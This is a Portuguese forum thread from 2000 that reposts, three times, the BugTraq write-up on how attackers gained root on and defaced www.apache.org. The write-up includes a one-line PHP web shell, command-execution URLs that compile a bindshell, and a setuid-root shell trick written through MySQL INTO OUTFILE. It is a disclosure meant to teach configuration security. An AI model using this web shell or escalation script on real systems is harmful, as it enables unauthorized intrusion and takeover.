| Esta discussão foi arquivada. Não se pode acrescentar nenhum comentário. | | | É óbvio que os lamers (ditos hackers) têm preferência pelos produtos M$. São fáceis de crackar e especialmente de fazer crashar! É óbvio que um servidor tipo Apache é uma dor de cabeça quando se pode facilmente atacar um IIS.
----
//\anuel /|zevedo |
| | | | Será que existem hackers que não gostam do Linux? Só podem ser lamers de certeza!!!
Shaka it´s my name and www my swet home |
| | | | | por Anonimo Cobarde em 05-05-00 0:50 GMT (#3)
|
| O apache não corre só em linux... E no caso do apache.org até está a correr em FreeBSD (segundo o NMap). - [WaR] war@genhex.org
|
| | | por Anonimo Cobarde em 05-05-00 2:49 GMT (#4)
|
| hmm...hehe...que pergunta mais inocente. Os hackers gostam de tudo que possa ser explorado de algum modo. O linux não é uma vaca sagrada. >Será que existem hackers que não gostam do Linux? Só podem ser lamers de certeza!!!
|
| | | | Creio que me expressei mal!
Quando me referi a "lamers (ditos hackers)" a minha intenção era dizer LAMERS, OS MESMOS QUE SE FAZEM PASSAR POR HACKERS!!.
Também não vejo o Linux como a VACA SAGRADA, tanto que a minha paixão não é só o Linux, mas todos os SO em geral. (e quando me refiro a SO não excluo o Windows. Também tem as suas vantagens!).
O Apache não corre só no Linux ou no BSD. Mas ninguém pode negar que estas são as principais plataformas utilizadas para o correr!
Cumprimentos,
----
//\anuel /|zevedo |
| | | | está um artigo interessante na BUGTRAQ... "How we defaced www.apache.org by {} and Hardbeat"
Está muito bem explicadinho e tudo! Só espero que não haja problema em fazer paste do email todo para aqui... Read now, flame later...
---------------------------------------
How we defaced www.apache.org
by {} and Hardbeat
/*
* Before you start reading
*/
This paper does _not_ uncover any new vulnerabilities. It points out common
(and slightly less common) configuration errors, which even the people at
apache.org made. This is a general warning. Learn from it. Fix your systems,
so we won't have to :)
/*
* introduction
*/
This paper describes how, over the course of a week, we succeeded in
getting root access to the machine running www.apache.org, and changed
the main page to show a 'Powered by Microsoft BackOffice' logo instead
of the default 'Powered by Apache' logo (the feather). No other changes
were made, except to prevent other (possibly malicious) people getting in.
Note that the problems described in this paper are not apache-related,
these were all config errors (one of 'm straight from BugZilla's README,
but the README had enough warnings so I don't blame the BugZilla developers).
People running apache httpd do not need to start worrying because of
anything uncovered herein.
We hacked www.apache.org because there are a lot of servers running apache
software and if www.apache.org got compromised, somebody could backdoor
the apache server source and end up having lots of owned boxes.
We just couldn't allow this to happen, we secured the main ftproot==wwwroot
thing. While having owned root we just couldnt stand the urge to put that
small logo on it.
/*
* ftproot == wwwroot
* o+w dirs
*/
While searching for the laters apache httpserver to diff it the with
previous version and read that diff file for any options of new buffer
overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of
the http://www.apache.org on that ftp including world writable directories.
So we wrote a little wuh.php3 including
<?
passthru($cmd);
?>
and uploaded that to one of the world writable directories.
/*
* Our commands executed
*/
Unsurprisingly, 'id' got executed when called like
http://www.apache.org/thatdir/wuh.php3?cmd=id
Next was to upload some bindshell and compile it like calling
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then
executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
/*
* The shell
*/
Ofcourse we used a bindshell that first requires ppl to authenticate with
a hardcoded password (:
Now we telnet to port 65533 where we binded that shell and we have local
nobody access, because cgi is running as user nobody.
/*
* The apache.org box
*/
What did we find on apache.org box:
-o=rx /root
-o=rx homedirs
apache.org is a freebsd 3.4 box. We didn't wanted to use any buffer
overflow or some lame exploit, goal was to reach root with only
configuration faults.
/*
* Mysql
*/
After a long search we found out that mysql was
running as user root and was reachable locally. Because apache.org was
running bugzilla which requires a mysql account and has it
username/password plaintext in the bugzilla source it was easy to
get a username/passwd for the mysql database.
We downloaded nportredird and have it set up to accept connections on
port 23306 from our ips and redir them to localhost port 3306 so we could
use our own mysql clients.
/*
* Full mysql access
* use it to create files
*/
Having gained access to port 3306 coming from localhost, using the login
'bugs' (which had full access [as in "all Y's"]), our privs where
elevated substantially. This was mostly due to sloppy reading of the BugZilla
README which _does_ show a quick way to set things up (with all Y's) but
also has lots of security warnings, including "don't run mysqld as root".
Using 'SELECT ... INTO OUTFILE;' we were now able to create files
anywhere, as root. These files were mode 666, and we could not overwrite
anything. Still, this seemed useful.
But what do you do with this ability? No use writing .rhosts files - no
sane rshd will accept a world-writable .rhosts file. Besides, rshd
wasn't running on this box.
/*
* our /root/.tcshrc
*/
Therefore, we decided to perform a trojan-like trick. We used database
'test' and created a one-column table with a 80char textfield. A couple
of inserts and one select later, we had ourselves a /root/.tcshrc with
contents similar to:
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
/*
* ROOT!!
*/
Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
people legally having root, this didn't take long. The rest is trivial
too - being root the deface was quickly done, but not until after a
short report listing the vulnerabilities and quick fixes was build.
Shortly after the deface, we sent this report to one of the admins.
/*
* Fix that ftproot==wwwroot
*/
Another thing we did before the deface, was creating a file 'ftproot' in
the wwwroot (which was also ftproot), moving 'dist' to 'ftproot/dist'
and changing the ftproot to this new 'ftproot' dir, yielding the
world-writable dirs unexploitable but allowing ftp URLs to continue
working.
/*
* What could have been compromised?
*/
Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we
wanted to, we could have done the same thing to Apache. Edit the source
and have people download trojaned versions. Scary, eh?
/*
* In short:
*/
- ftproot==webroot, worldwritable dirs allowing us to upload and execute
php3 scripts
- mysqld running as root, with a FULL RIGHTS login without a password.
/*
* Compliments for the Apache admin team
*/
We would like to compliment the Apache admin team on their swift
response when they found out about the deface, and also on their
approach, even calling us 'white hats' (we were at the most 'grey hats'
here, if you ask us).
Regards,
{} and Hardbeat.
{} (mailto:karin@root66.nl.eu.org) is part of
RooT66 - http://root66.nl.eu.org
ShellOracle - http://www.shelloracle.cjb.net
b0f - http://b0f.freebsd.lublin.pl
Hardbeat (petervd@vuurwerk.nl) just has a lame page at
http://www.dataloss.net/
|
| | | por Anonimo Cobarde em 05-05-00 10:54 GMT (#7)
|
| How we defaced www.apache.org by {} and Hardbeat /* * Before you start reading */ This paper does _not_ uncover any new vulnerabilities. It points out common (and slightly less common) configuration errors, which even the people at apache.org made. This is a general warning. Learn from it. Fix your systems, so we won't have to :) /* * introduction */ This paper describes how, over the course of a week, we succeeded in getting root access to the machine running www.apache.org, and changed the main page to show a 'Powered by Microsoft BackOffice' logo instead of the default 'Powered by Apache' logo (the feather). No other changes were made, except to prevent other (possibly malicious) people getting in. Note that the problems described in this paper are not apache-related, these were all config errors (one of 'm straight from BugZilla's README, but the README had enough warnings so I don't blame the BugZilla developers). People running apache http://d do not need to start worrying because of anything uncovered herein. We hacked www.apache.org because there are a lot of servers running apache software and if www.apache.org got compromised, somebody could backdoor the apache server source and end up having lots of owned boxes. We just couldn't allow this to happen, we secured the main ftproot==wwwroot thing. While having owned root we just couldnt stand the urge to put that small logo on it. /* * ftproot == wwwroot * o+w dirs */ While searching for the laters apache https://erver to diff it the with previous version and read that diff file for any options of new buffer overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of the http://www.apache.org on that ftp including world writable directories. So we wrote a little wuh.php3 including and uploaded that to one of the world writable directories. /* * Our commands executed */ Unsurprisingly, 'id' got executed when called like http://www.apache.org/thatdir/wuh.php3?cmd=id Next was to upload some bindshell and compile it like calling http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c and then executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd /* * The shell */ Ofcourse we used a bindshell that first requires ppl to authenticate with a hardcoded password (: Now we telnet to port 65533 where we binded that shell and we have local nobody access, because cgi is running as user nobody. /* * The apache.org box */ What did we find on apache.org box: -o=rx /root -o=rx homedirs apache.org is a freebsd 3.4 box. We didn't wanted to use any buffer overflow or some lame exploit, goal was to reach root with only configuration faults. /* * Mysql */ After a long search we found out that mysql was running as user root and was reachable locally. Because apache.org was running bugzilla which requires a mysql account and has it username/password plaintext in the bugzilla source it was easy to get a username/passwd for the mysql database. We downloaded nportredird and have it set up to accept connections on port 23306 from our ips and redir them to localhost port 3306 so we could use our own mysql clients. /* * Full mysql access * use it to create files */ Having gained access to port 3306 coming from localhost, using the login 'bugs' (which had full access [as in "all Y's"]), our privs where elevated substantially. This was mostly due to sloppy reading of the BugZilla README which _does_ show a quick way to set things up (with all Y's) but also has lots of security warnings, including "don't run mysqld as root". Using 'SELECT ... INTO OUTFILE;' we were now able to create files anywhere, as root. These files were mode 666, and we could not overwrite anything. Still, this seemed useful. But what do you do with this ability? No use writing .rhosts files - no sane rshd will accept a world-writable .rhosts file. Besides, rshd wasn't running on this box. /* * our /root/.tcshrc */ Therefore, we decided to perform a trojan-like trick. We used database 'test' and created a one-column table with a 80char textfield. A couple of inserts and one select later, we had ourselves a /root/.tcshrc with contents similar to: #!/bin/sh cp /bin/sh /tmp/.rootsh chmod 4755 /tmp/.rootsh rm -f /root/.tcshrc /* * ROOT!! */ Quite trivial. Now the wait was for somebody to su -. Luckily, with 9 people legally having root, this didn't take long. The rest is trivial too - being root the deface was quickly done, but not until after a short report listing the vulnerabilities and quick fixes was build. Shortly after the deface, we sent this report to one of the admins. /* * Fix that ftproot==wwwroot */ Another thing we did before the deface, was creating a file 'ftproot' in the wwwroot (which was also ftproot), moving 'dist' to 'ftproot/dist' and changing the ftproot to this new 'ftproot' dir, yielding the world-writable dirs unexploitable but allowing ftp URLs to continue working. /* * What could have been compromised? */ Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we wanted to, we could have done the same thing to Apache. Edit the source and have people download trojaned versions. Scary, eh? /* * In short: */ - ftproot==webroot, worldwritable dirs allowing us to upload and execute php3 scripts - mysqld running as root, with a FULL RIGHTS login without a password. /* * Compliments for the Apache admin team */ We would like to compliment the Apache admin team on their swift response when they found out about the deface, and also on their approach, even calling us 'white hats' (we were at the most 'grey hats' here, if you ask us). Regards, {} and Hardbeat. {} (mailto:karin@root66.nl.eu.org) is part of RooT66 - http://root66.nl.eu.org ShellOracle - http://www.shelloracle.cjb.net b0f - http://b0f.freebsd.lublin.pl Hardbeat (petervd@vuurwerk.nl) just has a lame page at http://www.dataloss.net/
|
| | | | | por Anonimo Cobarde em 05-05-00 10:57 GMT (#8)
|
| How we defaced www.apache.org
by {} and Hardbeat
/*
* Before you start reading
*/
This paper does _not_ uncover any new vulnerabilities. It points out common
(and slightly less common) configuration errors, which even the people at
apache.org made. This is a general warning. Learn from it. Fix your systems,
so we won't have to :)
/*
* introduction
*/
This paper describes how, over the course of a week, we succeeded in
getting root access to the machine running www.apache.org, and changed
the main page to show a 'Powered by Microsoft BackOffice' logo instead
of the default 'Powered by Apache' logo (the feather). No other changes
were made, except to prevent other (possibly malicious) people getting in.
Note that the problems described in this paper are not apache-related,
these were all config errors (one of 'm straight from BugZilla's README,
but the README had enough warnings so I don't blame the BugZilla developers).
People running apache http://d do not need
to start worrying because of
anything uncovered herein.
We hacked www.apache.org because there are a lot of servers running apache
software and if www.apache.org
got compromised, somebody could backdoor
the apache server source and end up having lots of owned boxes.
We just couldn't allow this to happen, we secured the main ftproot==wwwroot
thing. While having owned root we just couldnt stand the urge to put that
small logo on it.
/*
* ftproot == wwwroot
* o+w dirs
*/
While searching for the laters apache https://erver to diff it the with
previous version and read that diff file for any options of new buffer
overflows, we got ourselves to ftp://ftp.apache.org. We found a mapping of
the http://www.apache.org on
that ftp including world writable directories.
So we wrote a little wuh.php3 including
and uploaded that to one of the world writable directories.
/*
* Our commands executed
*/
Unsurprisingly, 'id' got executed when called like
http://www.apache.org/thatdir/wuh.php3?cmd=id
Next was to upload some bindshell and compile it like calling
http://www.apache.org/thatdir/wuh.php3?cmd=gcc+-o+httpd+httpd.c
and then
executing it like calling http://www.apache.org/thatdir/wuh.php3?cmd=./httpd
/*
* The shell
*/
Ofcourse we used a bindshell that first requires ppl to authenticate with
a hardcoded password (:
Now we telnet to port 65533 where we binded that shell and we have local
nobody access, because cgi is running as user nobody.
/*
* The apache.org box
*/
What did we find on apache.org box:
-o=rx /root
-o=rx homedirs
apache.org is a freebsd 3.4 box. We didn't wanted to use any buffer
overflow or some lame exploit, goal was to reach root with only
configuration faults.
/*
* Mysql
*/
After a long search we found out that mysql was
running as user root and was reachable locally. Because apache.org was
running bugzilla which requires a mysql account and has it
username/password plaintext in the bugzilla source it was easy to
get a username/passwd for the mysql database.
We downloaded nportredird and have it set up to accept connections on
port 23306 from our ips and redir them to localhost port 3306 so we could
use our own mysql clients.
/*
* Full mysql access
* use it to create files
*/
Having gained access to port 3306 coming from localhost, using the login
'bugs' (which had full access [as in "all Y's"]), our privs where
elevated substantially. This was mostly due to sloppy reading of the BugZilla
README which _does_ show a quick way to set things up (with all Y's) but
also has lots of security warnings, including "don't run mysqld as
root".
Using 'SELECT ... INTO OUTFILE;' we were now able to create files
anywhere, as root. These files were mode 666, and we could not overwrite
anything. Still, this seemed useful.
But what do you do with this ability? No use writing .rhosts files - no
sane rshd will accept a world-writable .rhosts file. Besides, rshd
wasn't running on this box.
/*
* our /root/.tcshrc
*/
Therefore, we decided to perform a trojan-like trick. We used database
'test' and created a one-column table with a 80char textfield. A couple
of inserts and one select later, we had ourselves a /root/.tcshrc with
contents similar to:
#!/bin/sh
cp /bin/sh /tmp/.rootsh
chmod 4755 /tmp/.rootsh
rm -f /root/.tcshrc
/*
* ROOT!!
*/
Quite trivial. Now the wait was for somebody to su -. Luckily, with 9
people legally having root, this didn't take long. The rest is trivial
too - being root the deface was quickly done, but not until after a
short report listing the vulnerabilities and quick fixes was build.
Shortly after the deface, we sent this report to one of the admins.
/*
* Fix that ftproot==wwwroot
*/
Another thing we did before the deface, was creating a file 'ftproot' in
the wwwroot (which was also ftproot), moving 'dist' to 'ftproot/dist'
and changing the ftproot to this new 'ftproot' dir, yielding the
world-writable dirs unexploitable but allowing ftp URLs to continue
working.
/*
* What could have been compromised?
*/
Remember the trojaned tcp_wrappers on ftp.win.tue.nl last year? If we
wanted to, we could have done the same thing to Apache. Edit the source
and have people download trojaned versions. Scary, eh?
/*
* In short:
*/
- ftproot==webroot, worldwritable dirs allowing us to upload and execute
php3 scripts
- mysqld running as root, with a FULL RIGHTS login without a password.
/*
* Compliments for the Apache admin team
*/
We would like to compliment the Apache admin team on their swift
response when they found out about the deface, and also on their
approach, even calling us 'white hats' (we were at the most 'grey hats'
here, if you ask us).
Regards,
{} and Hardbeat.
{} (mailto:karin@root66.nl.eu.org) is part of
RooT66 - http://root66.nl.eu.org
ShellOracle - http://www.shelloracle.cjb.net
b0f - http://b0f.freebsd.lublin.pl
Hardbeat (petervd@vuurwerk.nl) just has a lame page at
http://www.dataloss.net/
|
| | | | | Viva, 1- DocumentRoot writeable for the world, pois e andavamos nós a dizer mal da administracao dos portais portugueses só(!?) por terem readable /cgi-bin (estou-me a lembrar do netc) 2- MySQL run as root, nem o REDHAT no seu rpm faz tal asneira,cria um user com id diferente de 0(tou a dar como exemplo REDHAT porque todos sabemos como estes nas suas defaults configuracoes sao! ), mas como apache.org corre FreeBSD la tiveram de compilar e instalar á pata, pelos visto nao houve foi tempo de ler o README! Conclusao- espero que os administradores da makina nada tenham a ver com os coders do apache, senao acho que a mudança para Zeus esta proxima ;) Cya
|
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|
